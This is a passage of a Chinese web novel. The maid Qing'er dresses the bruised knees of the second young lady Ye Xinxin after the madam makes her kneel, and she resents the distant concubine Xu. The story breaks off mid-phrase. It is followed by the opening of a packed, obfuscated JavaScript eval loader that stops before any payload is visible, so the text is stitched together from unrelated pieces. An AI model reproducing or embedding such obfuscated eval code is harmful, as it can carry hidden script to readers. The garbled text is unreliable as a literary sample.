房内半晌未闻言语,叶昕昕正要开口说话,耳畔却传来青儿压抑的啜泣。
她掀开眼睫,抬手轻捏青儿面颊,“哭什么。”
青儿睫毛一颤,泪珠顺势滚落。她慌忙以袖口拭去:“婢子只是心疼小姐。小姐,这样的日子什么时候是个头啊?”
“快了。”叶昕昕在心中回答。
揉按完毕,青儿又取炼制脂膏厚厚敷在伤处。她自小就跟着二小姐,刺绣膳食什么没学会,反倒日日练熟了疗伤敷药的本事。
“小姐的膝盖淤伤不轻,连着敷上三五日才能消去肿痛。”
叶昕昕道:“正巧父亲命我闭门自省,这几日便安居院中誊写《女诫》。”
父亲让叶昕冉抄百遍,那她也抄百遍送到正院,也好让夫人看到她的‘懦弱胆怯’。
青儿收拾妥当药碗,见她气息渐匀已然睡熟,小心翼翼扶她卧躺,拢好衾被,方才轻步退出门外。
门外徐姨娘早已立在廊下等候,见她出来连忙低声问询:“青儿,二小姐伤势如何?”
青儿回道:“被夫人在正院罚跪了半个多时辰,婢子已经为小姐的膝盖敷药,现下小姐已经入睡。”
徐姨娘松口气,“睡了就好。”
往日青儿尚对徐姨娘心存期许,屡次私下劝她多体恤小姐。
徐姨娘平时深居简出,诸事不问,可二小姐这辈子不能只躲在房间里。
她要出去周旋主院与顺德院。
在外受尽磋磨无人撑腰就算了,等二小姐满身是伤回来的时候,徐姨娘好歹也过来安抚一二。
可每次徐姨娘都只远远地站在门口看着。
有时候连门口都不站,只待在她自己的房间内。
经年累
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e